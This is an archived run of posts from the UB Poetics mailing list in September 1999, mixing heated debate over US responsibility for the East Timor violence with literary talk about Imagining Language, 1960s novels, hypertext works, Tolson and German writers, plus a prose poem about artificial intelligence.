Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
government, using mostly US-made and US-paid-for weapons and military
intelligence support, has killed between 1/4 and 1/3 of the original
inhabitants. That's about 200,000-300,000 people. We're talking
concentration camps between 1975-1979. Paid for by US taxpayers. Certain
people meant business when it all started 24 years ago; I don't think they

> *mean any less harm now. If the US supported the democratic efforts of the*
> *East Timorese none of this probably would have happened.*
>
> *http://www.freetimor.com/*
>
> *http://www.lbbs.org/ZNETTOPnoanimation.html*
>
> *http://www.motherjones.com/east_timor/*
>
> *http://www.etan.org/*
>
> *regards,*
> *Patrick Herron*
>
> *so what the way i see it.. maybe better protest to the*
> *indonesian government on the handling of the east timorese might be a better*
> *usage of your time;* [redacted]
>
> *thanks pete spence*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
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> --
>
> ==========
> *Web Del Sol*
> *http://webdelsol.com*
> *LOCUS OF LITERARY ART ON THE WWW*

_____
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↑ **Index**

260. **Taylor Brady**
Re: Imagining Language
Thu 16 Sep 1999

John,

Yes, I've read a good chunk of it standing up in bookstores - have only just now paid off enough debt to render it affordable, and even so I share your sense that it's not "inappropriately" expensive. Steve has a piece related to some of the research for the book (might actually, be in the book, memory fails me) dealing with the visual mnemonics of medieval illuminated manuscripts that's well worth a look. Anyone know if that's been published anywhere?

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Lowther, John
Sent: Thursday, September 16, 1999 11:31 AM
To: [redacted]
Subject: Imagining Language

{ p o e t i x }

i assume there must be some portion of you out there whove got this book _imagining language_ that rasula and mccaffery edited ? has anyone seen a review of anywhere ? it sits on my dining room table and as i have breakfast or lunch or dinner i open it and the food gets cool (if hot) or warm (if cold) it was expensive as hell but not inappropriately expensive i dont think ----- point is that its just fucking amazing and if you (yeah, you *general* without me knowing squat about you singular, individual) havent seen it you really ought to (again, "ought" is a bit fishy i know but once youve had some leisure with this book i think you'll agree, and if you don't it may be that we wdnt be able to communicate very effectively anyway) this is not a review i cant really imagine an adequate review jerome rothenberg cd perhaps handle it his anthologies are the only things that this book seems comparable to

)L

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261. Brian Lennon
Killer liberals? (was Re: I can't believe it!!!)
Thu 16 Sep 1999

I wonder what lurks beneath Thurmon Manson's "whatever"? I sincerely hope this is hyperbole, or a joke... in any case I'm glad to hear that he has trouble making friends...

P.S. Thanks, Patrick, for your response. It's true, as you point out, that skepticism can lead too easily to inertia. A point that Kent Johnson also makes. As for me, I don't think it's naive to believe in truth or the necessity to take action. Last spring, I offended the gods when I questioned the party line on Kosovo: might there be some reason to intervene, to do something besides chant prosthetically, Out Out Out!? Thankfully, I was not heaped with quite the same abuse as came to Mike Neff. But I think that's because he's more cleverly provocative than I am. At some point it becomes an issue of tone. Call me a problem child, but when someone posts assertions in what's obviously a fit of rage (e.g. Albright is a shit! Put Cohen to death! They're all motherfuckers!), no matter whether I agree or not, I'm inclined to distrust what they say.

I.e.: The List is not a New Model Army (Cromwell's Parliamentary troops, who fought the Royalists in the English civil war) waiting to march and fight the conservatives to the death--- Thurman Manson's longings notwithstanding. This is a community of people who doubtless COULD run things better--- most of whom feel powerless to influence the institutions that act without our consent. A position that is, of course, enraging. But the only thing that rage accomplishes is to muddy your argument so much that you provoke someone else's rage. Joan Houlihan has said it best so far, I think: in different ways, omnipotence is a fantasy of both the right and the left. What's startling is the ease with which that border dissolves; witness what's below.

On Wed, 15 Sep 1999, Thurmon Manson wrote:

> "*Some people should die, that's just unconscious knowledge*" *per Jane's Addiction, although to profess strong beliefs like this will get you booted from an academic or arts scene or whatever; but I come to find that the people I seldom find but respect most share opinions along that line.*

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262. Carolyn Guertin
Re: hypertext suggestions
Thu 16 Sep 1999

There are many, so many hypertext works on the Web that are really amazing. Check out (in no particular order):

Alicia Felberbaum's 'holes-linings-threads: the future looms' (UK)
http://www.felber.dircon.co.uk/holeslinings threads/

Linda Carroli and Josephine Wilson's '*water always writes in *plural' (Australia)
http://ensemble.va.com.au/water

Tim McLaughlin's '25 Ways to Close a Photograph' (Canada)
http://www.knosso.com/NWHQ/tim/tim_25.html

Di Ball's 'Bound and Gagged' (Australia)
http://smople.thehub.com.au/dibbles/writing/menu.htm

DollYoko's 'dollspace...hauntologies' (Australia)
http://www.thing.net/~dollyoko/

mez's 'Blood Puppets: A Premillennium Manifesto' (Australia)
http://www.wollongong.starway.net.au/~mezandwalt/

Jennifer Ley's 'The Body/Politic' (USA)
http://www.heelstone.com/subtext/

Olia Lialina's 'My Boyfriend Came Back From the War' (Russia)
http://www.design.ru/olialia/war/

Kim Stringfellow's 'The Charmed Horizon' (USA)
http://www.kimstringfellow.com/charm.html

Mary Kim Arnold and Matthew Derby's 'Kokura' (USA)
http://www.eastgate.com/Kokura/Welcome.html

In fact, early next month a women's gallery of hypertext work will be debuting at Women Writers Zine <http://www.womenwriters.net/>. If you want works considered for inclusion in 'Assemblage: The Gallery' (it will be updated monthly), please let me, the curator, know.

Cheers,
Carolyn

_____ Carolyn Guertin, Department of English, University of Alberta 3-5 Humanities Centre, Edmonton, Alberta T6G 2E5 Canada E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

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263. **Aldon Nielsen**
Re: novels of the 60's
Thu 16 Sep 1999

Ulysses became legal in the thirties -- Tropic of Cancer in, if I remember, the early sixties --

What I do remember is that Tropic was banned in Denver when I lived there, but could be purchased quite legally at the airport, which was then (and now again) outside the legal confines of Denver itself -- Duty Free reading?

↑ Index

264. **Aldon Nielsen**
Re: I can't believe it!!!
Thu 16 Sep 1999

Did anybody else see the video of Wiranto singing "Feelings"? Ranks right up there with the Marcos version of "We Are the World." and what tune is Clinton singing today?

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265. **KENT JOHNSON**
Beating drums
Thu 16 Sep 1999

Michael Neff said:

> *These are the same people who argue that Marxism is a credible >political alternative and that the shout of freedom heared in eastern Europe >many years ago was nothing but a CIA manipulation. They only have >one drum and they bang it continuously while chanting America is Evil, >America is Evil, thereby seeking the solace of moral high ground and >community forever lost to them in the sixties.*

Well, Michael, the caricature you draw above of those who find fault in your arguments seems the perfectly-traced image of the "dogmatism" you claim to despise.

No one has said that those wielding the guns and machetes on the ground are morally blameless. Where did you get that one? The reason people are upset with you, I think (though your argument is not worth getting as upset about as some apparently have in back- channel), is that you are so unwilling to recognize a simple something which should be self-evident: Local legacies, down to a machete's fine edge, are implicated in global histories. And in a country like Indonesia, whose history and political present are inextricable from imperialist intrigue and manipulation, this is quite evidently the case.

But to you, it seems, the use of "primitive," non-Pentagon supplied machetes is the anthropological sign that shows the violence for what it autochthonously is--yet one more primal spasm in a culture condemned to repeated blood-letting. You challenge people to prove otherwise. And so people (while not disagreeing that violence is, indeed, primal) have given you ample evidence that the current strife has manifested itself inside specific conditions that our government (along with other imperialist powers) has had a considerable hand in creating and perpetuating, having helped to install and then unflaggingly abet, as it has, the same party that now organizes the machete wielders.

The irony here is that it is up to you, really, to show that this history of which people have spoken has little to do with the past and present suffering in East Timor. You haven't. And you end your intervention in this discussion, even, by suggesting that the history doesn't exist except in the minds of America-Is-Evil shouting poet- spooks trapped in a 60's induced psychosis. Deep denial is a form of psychosis, Michael. I wonder if there is a clinical name for the kind where the victim's ears are filled with the sound of beating drums?

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266. **pete spence**
Re: US/Aus/Indonesia/E Timor
Thu 16 Sep 1999

> *Course, if they're rampaging as humans are inclined to do from time to time,*
> *then how can it be the fault of US.*

dunno if really that was the evaluation/ thought it was all sorts make a woeism//pete spence

_____
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267. **pete spence**
Re: believe it!!!
Thu 16 Sep 1999

>
> >| And why should the US support Timor seceding when we didn't support
>South
> >| Carolina, and certainly don't support Quebec?
>
>Uh, East Timor voted to be independent.
>

>Quebec voted to remain part of Canada.
>
>
>
>
>George Bowering.
> ,
>
yep if there is an example like this in e-timor of being punished for your vote then wake up you who take voting for granted//pete spence

_____
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268. **pete spence**
Re: I can't believe it!!!
Thu 16 Sep 1999

> *I defy you to name a single situation involving popular movement overthrow or bud-nippage in which there's been no CIA involvement, or any regime oppressiveness, be it in Turkey, Central America, South America (currently most "addressed" in corporate media is Colombia: CIA and DEA don't like the FARC because they going to take some American/Col Military $!!!), Haiti, Indonesia, Oakland, ad infi, not EXPLICITLY either*
>
> *1) funded in total*
> *2) funded intellectually*
> *3) endorsed*
> *4) propped by economic threat*
>
> *by the Pentagon CIA White House or, mightier than each aforesaid, the ten or whatever major US corporations.*
>
> *I wager that the White House has "decided to act" in East Timor finally not because of public pressure, but because to not do so means to risk losing some of its control there. >*
> *W A C O*

seems reasonable to me!! given i know a bod doing a book on Joris Ivens and the film he was making at the end of the second WW when the Dutch were finally left out, i've seen what reports ASIO and others will allow on the the make of the filmcrew which included us agents and thats a long way back of interest in the region//pete

---

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269. **pete spence**
Re: US/Indonesia: I CAN'T Believe it!
Thu 16 Sep 1999

> *From: Michael Neff <[redacted]>*
>
> *There are at least three different versions which attempt to prove to me (regardless of the real point I was attempting to make) that America is responsible for the years of killing fests in Indonesia (and even elsewhere!). These individuals should get together and compare notes, get it straight*

MIchael NEff i'm starting to wonder where you are coming from , this doesn't seem the only point thats going on in this discuss, it was NEVER the US alone being blamed i think you may have a wee twinge o' the G's!!! pete

---

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270. **Betsy Andrews**
Info on Hadrami poetics conference?
Thu 16 Sep 1999

I received this as part of a message from a friend in Yemen. Does anyone know anything about this conference? Betsy

Have you heared any thing about a conference on the "Hadrami poems" organized by the middle East center, Austen Texas University, and will be held at Washington University, November,1999.

Dr.Mahfood Ali Ba-bttat. Kuwait University, Fac.of Sci. Dep. of Earth & Envir. Sci's. E.Mail: [redacted]

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271. **pete spence**
Re: I can't believe it!!!
Thu 16 Sep 1999

>From: Patrick Herron <[redacted]>>
>This isn't my point. We're off track. My comments were directed to this
>statement by Peter Spence: "It may also be just as good and probably easier

>to protest the American gov't for their ongoing role in the slaughter and
>oppression of the East Timorese."
>
>That was my statement, not Pete's. He excerpted an e-mail I sent him.
>
,,actually i'm sorry that happened it was supposed to go to a friend in
germany as some info and i forgot the redirect!!! but when it came up in
poetiks and started a discuss i left it,, sorry//pete spence

_____
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272. **derek beaulieu**
Re: Imagining Language
Thu 16 Sep 1999

---

john & co.
i couldnt agree more - it stuck me quite similar to johanna drucker's _The
Alphabetic Labyrinth_ and i was particularly excited by some of the work of
winkler, phillips (of course), and i hadnt seen Ernst's Maximiliana
before - so that was quite a treat...does anyone out there know of critical
response to this book yet? (and whil eim at it - does any one know ofwhere i
can find copies of phillip's _Humument_?)
ciao
derek beaulieu
----- Original Message -----
From: Lowther, John <[redacted]>
To: <[redacted]>
Sent: September 16, 1999 12:30 PM
Subject: Imagining Language

> { p o e t i x }
>
> i assume there must be some portion of you out there whove got this book
> _imagining language_ that rasula and mccaffery edited ? has anyone seen
a
> review of anywhere ? it sits on my dining room table and as i have
> breakfast or lunch or dinner i open it and the food gets cool (if hot) or
> warm (if cold) it was expensive as hell but not inappropriately
> expensive i dont think ----- point is that its just fucking amazing and if
> you (yeah, you *general* without me knowing squat about you singular,
> individual) havent seen it you really ought to (again, "ought" is a bit

> fishy i know but once youve had some leisure with this book i think you'll
> agree, and if you don't it may be that we wdnt be able to communicate very
> effectively anyway) this is not a review i cant really
imagine
> an adequate review jerome rothenberg cd perhaps handle it
his
> anthologies are the only things that this book seems comparable to
>
>)L
>

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273. Christina Milletti
Re: US/Aus/Indonesia/E Timor
Thu 16 Sep 1999

In a message dated 9/16/99 8:06:12 PM !!!First Boot!!!, [redacted] writes:

<<
 If they are working for the NSA they deserve a retirement package.

 Course, if they're rampaging as humans are inclined to do from time to time, then how can it be the fault of US? It therefore stands to reason they must be paid. >>

A bit overboard here. I never said they were being paid by the NSA or that the US is behind their rampage. Quite simply, their "employed" by the Indonesian military.

As for firsthand knowledge, there are indeed reporters on the ground who have witnessed the military and the militias working hand in hand. I can backchannel the relevant articles to you which detail the workings of this "mechanism." Isn't the internet amazing? I can read an article about the slaughter in Indonesia rather than actually going there to witness it firsthand myself?

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274. david bromige
Painful Pages (was Novels, 60s)
Fri 17 Sep 1999

I want to second George Bowering's quick-quisition on Painful Reading, even while qualifying it by remarking there are many kinds of pain in reading, as in life generally. Possibly the pain Mr. felt in _Naked Lunch_ arose from the content, which is shocking to those who want to look only on the finer side of life. If one wants sex to be a blending of spirits, the material side of life as

represented/re-created by Burroughs can be a downer. Or did the pain he speaks of, arise from the cutup method, its resistance to acquired habits of reading gritting and slipping in the mind's eye?

There is the very different pain in James' _The Ambassadors_ , of persons not living up to their promise, of the worldliness of the world corrupting the incorrupt; there is the pain in Kafka, that makes us laugh; the pain in Dostoevski, funny in _Notes of an Underground Man_ but far from it elsewhere. These are pains that arise from the action, and they are not raw pain : as a (male) singer unknown to me sang on the radio tonite, "A woman can't kill you in the House of Song." They are pain mastered,in a safe-ish place, in play, and in that serious play is so much pleasure inextricable from the pain. It is akin to the pain of learning the use of a complex tool, or instrument. The pleasure arrives in little increments of mastery.

But there is raw pain at times in reading, such as I first felt on hearing a-tonal music.....cant find the context. I imagine Mr Keith might have felt this vis-a-vis the Burroughs' text. This is part of the experience of the New. You get over it or not, as you elect. And there is pain too, a dull nagging pain, when confronted by the Stale.

Well, I guess some might be feeling that right abt now, and I apologize for going on at this length. There must be more than one phenomenology of pain-in-reading written by now, and there is a further kind of pain for me in supposing I have read one and forgotten. Bachelard might have written such a book. And authors more recent surely have. I'd like to hear of some. db

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275. **Aaron Fewell**

Re: I can't believe it!!!

Fri 17 Sep 1999

In a message dated 9/16/99 4:01:43 PM Eastern Daylight Time, [redacted] writes:

<<

It's quite amazing to me, a liberal, to see the kind of reaction generated by a clearly written, well-reasoned message (Neff's). What has created this firestorm? Simply the suggestion that the US government (and whatever else we conceive that entity to be,it is still a collection of people with limitations) may not be wholly responsible for what's happening in East Timor. I don't see that Mike Neff was disputing any historical facts, or events leading up to what's happening there--only that he was questioning the idea that these successive events *had* to be linked to either a kind of evil intentionality, or an immoral turning away by the US government. He was instead, and rightly I think, proposing the idea that deeper, and even

random, forces are also at work in these situations--not only, but also.
That we need to consider the constant recurrence of group hatreds, killings,
the human prediliciton for wiping each other out. Nowhere was he suggesting
that arms were *not* sold, that US interests were *not* pursued, or that the
US often gets behind what turn out to be (or always were) rotten
leaders/causes--sometimes in the interest of avoiding worse leaders/causes,
or more likely, for simple economic or ideologic reasons.
>>

Joan, the US is the only top dog left. It's only natural that every piece of blame is dealt to them.

Aaron Keith (Not saying it's right, just saying it is)

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276. Garrett Kalleberg
The Transcendental Friend 11 - September 1999
Fri 17 Sep 1999

Continuing in our abiding interest in forensic entomology, this "September" issue of The Transcendental Friend features state-of-the-art freeze-fracture images of the drosophilia (fruit fly) brain, a catalog of moths and candles and the images they illuminate, five excurses on the Romanian night (for which candles), and the brilliant light of Reason of Today's Not Opposite Day (or, The Night) (or Night) for which sleep and monsters etc.

> The Transcendental Friend, No. 11, Sept. 1999
> http://www.morningred.com/friend/1999/09

Which is to say:

Ten sonnets by Tim Atkins, in Laird Hunt's Bestiary.

The Comte de Montesquiou's "Moth," presented by Jeffrey Jullich in Idiosyncratica.

Five early Romanian poems of Paul Celan (!) translated by Julian Semilian & Sanda Agalidi, in Leonard Schwartz's Report from the Field or Afield or a field.

Mike Kelleher's "Revue" of a poem by Charles Bernstein, in Dan Machlin's Review.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

Immanent Audio Online at:
http://www.morningred.com/immanentaudio

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277. Aaron Fewell
Re: Novels of the Sixties
Fri 17 Sep 1999

In a message dated 9/16/99 4:13:33 PM Eastern Daylight Time, [redacted] writes:

<<
Does this mean that you do not want to find any reading painful?

Of course not, but rarely have I found a novel as unrelenting and difficult as Naked Lunch.

Why is that? Surely one of the most honourable and usual purposes of a fiction writer of any seriousness would be to make the reading painful. Another might be to make it exhilarating. I have found lots of writing painful (not talking about references here) and returned to it, knowing that it is important. In early years that writing included _The Cantos_. Later it included _Palimpsest_ and _Geography & Plays_ and _The Casnnibal_. I do not find books by James Lee Burke to be painful; though I read them, I will not reread them. I dont remember ever being deprtessed because a book was painful to read.

When I say depressing, I must admit it is out of a sense of self-deprecation. After reading the novel, I felt as if I had missed out on something, that I wasn't in the loop, so to speak. I had been told of this great novel and after reading it, I felt what was great about it? I could not put my finger on it. Of course, Burrough's prose is shitzophrenic and jargon-laced so I doubt I'm the only one who has had trouble with it.

George Bowering.

,

>>

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278. david bromige
re novels held back for the 60's
Fri 17 Sep 1999

Billy, good point---if you arent allowed to eat dinner until 9 p.m., then that IS yr dinner-hour. I was over in England that year, '57, when _Ginger Man_ was published...over _there_ . But as you remark, neither it nor those other novels were

available in N America until at least a little later...the Howl trial was 57 wasnt it? But I dont think we cd get _Naked Lunch_ before the early 60's...and it's worth thinking what role the books you mention played in the consciousness-shift.

As to the game of naming when the 60's (or any other of our shared decades) began and ended, what th heck, i stick w what is written in our novel Piccolo Mondo, the sixties began in 1963 _but clearly this is an assertion/observation always bound to be contradicted in a clash of subjectivities_ . And I gladly grant that specific groundwork was being laid by '55, and push that further back to the 40's (of course, ultimately, one can push it back to shortly before the Big Bang, but....). Cant recall right now if we assigned an end date to the 60's in _PM_ but I'll say '74-5, Watergate, the winding down of the Vietnam war and the first gas crisis.

++++++++++++++

Cant avoid feeling frivolous writing such things while E Timor agonizes and dies. Fanciful history here, actual history there, grinding away. I want to thank Taylor Brady for his posts vis-a-vis Indonesia; they reflect my underdstanding pretty much, and articulate it for me. I am surprised alright that any educated person would find Taylor Brady's viewpoint, surprising. Not to patronize....please believe me. Light breaks when it breaks, and often it hurts. But Christ if we leastwise somewhat informed groups arent up to speed, Brady speed, how can there ever be anything altered (and can there be anyway?). We live in our relative prosperities by wholesale oppression, up to and including mass murder. Our standard of living is going to have to drop , if we want to end---or even diminish---that situation. And isnt it dropping? Yes for most of us. But the greed/fear at the top of the foodchain is monumental, insane, out of control (while _in control_ of the rest of us). And it corrupts throughout. In the belly of the Beast, we are all smeared with Its digestive juices. db

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279. Arielle C. Greenberg
Re: Imagining Language
Fri 17 Sep 1999

On Thu, 16 Sep 1999, Lowther, John wrote:

> *i assume there must be some portion of you out there whove got this book _imagining language_ that rasula and mccaffery edited ? has anyone seen a review of anywhere ? it sits on my dining room table and as i have*

I wrote a review of it which will be in the next issue of Salt Hill. I'm sure it's not adequate, but if it helps any, I love that book, too.

Arielle

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

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280. Pierre Joris
RE: Novels of the 60´s / Thomas Dorow
Fri 17 Sep 1999

> *Rolf Dieter Brinkmann: Keiner weiss mehr.*
>
> *Brinkmann congeniously translated Frank O´Hara´s poetry to german, was the editor of "Silver Screen" and "Acid", two compilations that first introduced Burroughs, Bukowski, O´Hara and several others to a german audience. "Acid" was a cult when I was in my teens. Brinkmann himself mainly known for his poetry. Check out "Westward 1&2" if you come across it. His most exciting work is the journal "Rom, Blicke". I don´t know if any of his work is translated, if it isn´t, there´s a job to be done.*

Yes, indeed, Brinkman is a marvelous poet and a superb writer all around. "Rom, Blicke" is, I think, better than his novel.I don't know if any of the prose was translated, but some of the poetry was. The English poet John James did so, and published them in the English magazine Collection 7. Interestingly enough I had email from Peter Riley, the British poet & bookseller a few days ago, asking me for info on RDB, as there seems to be a new interest in Roilf's work in Germany. I translated a few poems, but they remained unpublished and, if I remember unfinished: I was supposed to work on the translations with him when he died. (In fact, he was supposed to come over for dinner & talk about the translations the night of his detah in London, a few days after we had been together at the Cambridge Poetry Festival, but never showed. Early the next morning, I think it was, I was called and ask to identify Rolf's body in the morgue -- he had been killed by a taxicab as he stepped into the road looking in the wrong direction.)

> *Hubert Fichte: Die Palette*
>
> *This is the first novel to portray the gay underground in Hamburg. Fichte´s style is amazing, it was termed "new sensitivity" when he first came out*

> *with his work, but to me it appears as a combination of*
> *Doeblin´s montage*
> *techniques with elements of the nouveau roman, a very physical and*
> *psychedelic style. If you don´t know it, you should. If it isn´t*
> *translated, you should do it yourself or find somebody who will do it.*
> *Fichte left a great body of work after his death a few years*
> *ago, he is*
> *still mainly read in fan circles, but this is truly excellent stuff.*
>
> *Greetings, Thomas Dorow*

Yes indeed, I still have it and go back to it every few years. Met him in 68' when he gave a reading from the just publishged _Palette_in Luxembourg and it turned into a memorable evening. I seem to have some memory that that book was translated, and I somehow associate that with Joachim Neugroschel, though I could be wholly wrong here.

Pierre

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281. **Pierre Joris**
Re: Imagining Language
Fri 17 Sep 1999

Yes, the WAX MUSEUM is totally amazing -- don't know of reviews,however -- though there must have been some -- I have used it for teaching ever since it came out, but it now seems to be out of print and the NCTE doesn not seem like the right outfit to keep it in print.(Usin g it for teaching permits me to reread it once a year, which is most salutary).

Pierre

Pierre Joris
6 Madison Place
Albany NY 12202
Tel: [redacted]
Fax: [redacted]
Email: [redacted] <mailto:[redacted]>
Url: <http://www.albany.edu/~joris>

The postmodern is the condition of those
things not equal to themselves, the wan-
dering or nomadic null set (0={x:x not-equal x}).

Alan Sondheim

_
> i assume there must be some portion of you out there whove
> got this book
> _imagining language_ that rasula and mccaffery edited ?
> has anyone seen a

> review of anywhere ? it sits on my dining room table and as i have
> breakfast or lunch or dinner i open it and the food gets cool
> (if hot) or
> warm (if cold) it was expensive as hell but not inappropriately
> expensive i dont think ----- point is that its just fucking
> amazing and if
> you (yeah, you *general* without me knowing squat about you singular,
> individual) havent seen it you really ought to (again,
> "ought" is a bit
> fishy i know but once youve had some leisure with this book i
> think you'll
> agree, and if you don't it may be that we wdnt be able to
> communicate very
> effectively anyway) this is not a review i cant
> really imagine
> an adequate review jerome rothenberg cd perhaps handle
> it his
> anthologies are the only things that this book seems comparable to
>
>)L

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282. Hank Lazer

Objectivist Nexus - Discount Offer

Fri 17 Sep 1999

Announcing the latest volume in the series Modern and
Contemporary Poetics, edited by Charles Bernstein and Hank
Lazer

The Objectivist Nexus
Essays in Cultural Poetics
Edited by Rachel Blau DuPlessis and Peter Quartermain

Outstanding poets and critics present cultural readings
of the Objectivist poets, a group whose works have been
largely unexamined.

"Objectivist" writers, conjoined through a variety of
personal, ideological, and literary-historical links, have,
from the late 1920s to the present, attracted emulation
and suspicion. Representing a nonsymbolist,
postimagist poetics and characterized by a historical,
realist, antimythological worldview, Objectivists have

retained their outsider status. Despite such status, however, the formal, intellectual, ideological, and ethical concerns of the Objectivist nexus have increasingly influenced poetry and poetics in the United States.

Thus, argue editors Rachel Blau DuPlessis and Peter Quartermain, the time has come for an anthology that unites essential works on Objectivist practices and presents Objectivist writing as an enlargement of the possibilities of poetry rather than as a determinable and definable literary movement. The authors' collective aim is to bring attention to this group of poets and to exemplify and specify cultural readings for poetic texts_readings alert to the material world, politics, society, and history, and readings concerned with the production, dissemination, and reception of poetic texts.

The contributors consider Basil Bunting, Lorine Niedecker, George Oppen, Carl Rakosi, Charles Reznikoff, and Louis Zukofsky within both their historical milieu and our own. The essays insist on poetry as a mode of thought; analyze and evaluate Objectivist politics; focus on the ethical, spiritual, and religious issues raised by certain Objectivist affiliations with Judaism; and explore the dissemination of poetic texts and the vagaries of Objectivist reception. Running throughout the book are two related threads: Objectivist writing as generally a practice aware of its own historical and social contingency and Objectivist writing as a site of complexity, contestation, interrogation, and disagreement.

"The critics and poets in this important collection create new paradigms for the study of poetry and culture. . . . This book will be important to any reader of modern and contemporary American poetry."_Susan M. Schultz
The University of Hawai'i-Manoa

Contributors
Charles Altieri
Charles Bernstein
Andrew Crozier
Yves di Manno
Rachel Blau DuPlessis

Norman Finkelstein
Robert Franciosi
Stephen Fredman
Alan Golding
Burton Hatlen
Michael Heller
Eric Homberger
Ming-Qian Ma
Peter Middleton
Peter Nicholls
Peter Quartermain
John Seed

Rachel Blau DuPlessis is Professor of English at Temple University.
Peter Quartermain is Professor of English at the University of British Columbia.

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283. Michael Neff
Marxists: You Have Nothing to Lose But Your Pain
Fri 17 Sep 1999

Observation: The Whiff of Marxism

Following any number of conspiracy buzz words, statements, "theories" posted front channel re Chevron, Exon, "follow the money" etc. and blistering backchannel attacks by individuals who I know to be bonafied life-cheated Marxists and/or fringe Marxists, my distracted and plodding neurophysics has all too slowly found the common thread in all this religious fervor. Not just "leftist" which is a label all too vague.

I've been hearing the chanting, only dismissed it long ago. Now it's returned, alive and well and festering. The capitalist thread, Marxists "following the money" and seeing unbreakable and absurdly complex webs of control spun

from the corporate board rooms of oil. Of course, what else could explain the stench of America rising from the corpse of Timor? The card house complexities follow. An American official, Kissinger, touches down in Indonesia in 1975, decades of unrest, slaughters, feuding continue till the present, billions of dollars worth of arms, cash, and advisors are dispatched to make sure the killing continues in the most frenzied and diabolical of forms, and behind it all, the coporate moguls, the black gold zaibatsu, bloated and cigar fuming and chuckling at the pile of dead.

When all they had to do, like they and everyone else does so business-as-usual in the "third" world, is simply pass a few bribes to the Indonesian govt to get drilling rights.

For that matter, they could have bribed the Portugese!

What a waste of time! If I were at the NSA I'd be pissed, but we know that govt officials are far more intelligent than we are.

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284. **Al Filreis**
Re: M.B. Tolson
Fri 17 Sep 1999

On Tolson and _Poetry_ (miscellaneously):

"E. & E. O." was accepted by _Poetry_ and published there with pretty strong support from (then editor) Karl Shapiro. That was, as Aldon says, 1951. Tolson had begun approaching _Poetry_ with his work in 1948. After Tolson won _Poetry_'s Best Hokin Prize, and after Lorenzo Turner published a positive review of _Libretto_ (also in _Poetry_), Henry Rago, who was then editor, got a letter from Hayden Carruth, who was also a _Poetry_ insider (having been an editor in the late 40s)--complaining about the quality of Turner and Tolson both. Both "stinkers," Carruth said. Rago replied in agreement and went further: the Turner review had come in before he, Rago, became editor, and while Shapiro was away in Europe. In other words, it was a mistake. So was accepting Tolson's poetry. Rago implied that Shapiro was not a Tolson supporter and that Tolson's poetry is awful, unfit for _Poetry_--an embarrassment. This was a lie: Shapiro had backed Tolson.

On Ray Nelson:

He is a superb editor. And critic--especially of American visionary romantic verse. His little book on Patchen is superb.

--Al Filreis

| There is finally an edition in paperback of Melvin Tolson's poems, or at | least most of them. Just out from University of Virginia Press is | <underline>"Harlem Gallery" and Other Poems of Melvin B. | Tolson.</underline> The book includes the three volumes that were | published during Tolson's life, along with a few magazine pieces that had | not been collected, including the crucial "E. & O. E." which appeared in | <underline>Poetry</underline> in 1951. The new edition includes Tolson's | notes to <underline>Libretto for the Republic of Liberia</underline> and | new annotations to <underline>Harlem Gallery</underline>, provided by the | editor, Raymond Nelson. What is not included are the earlier poems that | appeared a few years ago as <underline>A Gallery of Harlem | Portraits</underline> and some fugitive poems. There will be two | previously unpublished Tolson poems in an anthology that I am editing | with Lauri Ramey that Alabama will publish soon.

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285. Tom Orange
Imagining Language
Fri 17 Sep 1999

john and others,

i have a review of _imagining language_ that has just appeared in the latest issue of _literary research/recherche litteraire_ (a publication that comes with membership in the icla/ailc). the print version contains scandalous amounts of typos and other editorial interventions with which i am very displeased. but a quick scan of the on-line version suggests to me that it is identical to the version i intended for publication.

http://www.uwo.ca/modlang/ailc/current/orange.htm

the same issue also contains my review of marjorie perloff's _poetry on and off the page_ (likewise superior to the print version) at

http://www.uwo.ca/modlang/ailc/current/orange2.htm

from beautifully sunny washington d.c.,
("everyone come out of the ark, the flood is over!")

tom

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286. Philip Nikolayev
MODULO FEELING
Fri 17 Sep 1999

MODULO FEELING

What you need to open is a new file. Call it A Feel for Life. What have you there, poetry, to tell me? Oh but tell me that on barbed wire snow looks especially beautiful in early January, when the atmosphere of Christmas is still on the air. Oh but tell me that robotics have advanced to such a point of perfection that there’s no longer an issue between brain and computer. For example, I am talking to you, but how the flam do you know I’m not a computer? My maker, by the way, toiled a score years in Artificial Intelligence (AI), specializing in machine translation. The quality of his work is beyond dispute. I have always been proud of him. We used to talk about AI a lot as I was growing up. For example, you can have a program that will make the computer write something really wild. Because when it is writing, there is like a cathode that goes right into the computer’s brain, and there swerve rivers far past our recognition, for likelihood’s butterflies are already settling in the nearness of our gaze, and this means the river will be an opening, disburthened of its erstwhile behavior, but still dynamic. And that means we’re already in March, and soon is my birthday. Awww. I’m no longer sure how old I am then. The telegraph wires are tall, and altogether elsewhere my blue school uniform is hung on a wire to dry, and Tom barks on the balcony in the rain. Tomik, back to the balcony, says Mom. Was a mongrel, maternally a Spaniel and paternally a mutt. A big box of apples and a lizard in a big glass jar behind it, live tarantulas in the other jars, a grafted cactus, and Twits the canary on my head (who later flew away). I’m a budding biologist, but language is a distraction. You see, the idea is that something counts as "artificial intelligence" so long as you can’t distinguish between a program’s thought process and a human’s thought process. You can’t tell if you’re talking to a computer or a human. Or by reading it’s writing. Because when it’s writing, there’s like spiral stairway at the institute, and the colleagues have gone out for a smoke, but you are stuck with your algorithm, worried about funds for the project. Your boss is a bastard non-entity. The question what Intelligence Itself is, in a Platonic sense, is never answered. But we are working out what’s intelligence as we know it, which keeps us from drifting rudderless in a sea of ill luck. Piles of dictionary entries on punched cards and various thesauri. This too must be confirmed. Since it is not copyrighted, I’ll take the continuous process of Massachusetts weather from October 1-31 and’ll make it into my latest poem. (And suppose someone will later find this poem and turn it back into weather. ’Attabe cool! Such possibilities hsould not be ruled out.) Thus, to answer your question, yes, poetry too. As you can see on the graph, computers can prospectively write it very well. Not necessarily wild stuff. Fine, measured stuff with taste. I know form experience. They, for example, will be able to write lyric poetry. Because when it is writing, there is like a modulo feeling, and it begins to multiply itself further and further, until the heart becomes incompatible with the brain, and then absolute intelligence is detached, as the hypothesis states, into an outer darkness. What happens to it thence we do not know.

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287. **Patrick Herron**

Resend: US/Aus/Indonesia/E Timor

Fri 17 Sep 1999

More response to Mike Neff:

> *I say it goes far deeper than this. These models of yours are insufficient to explain the group behavior.*
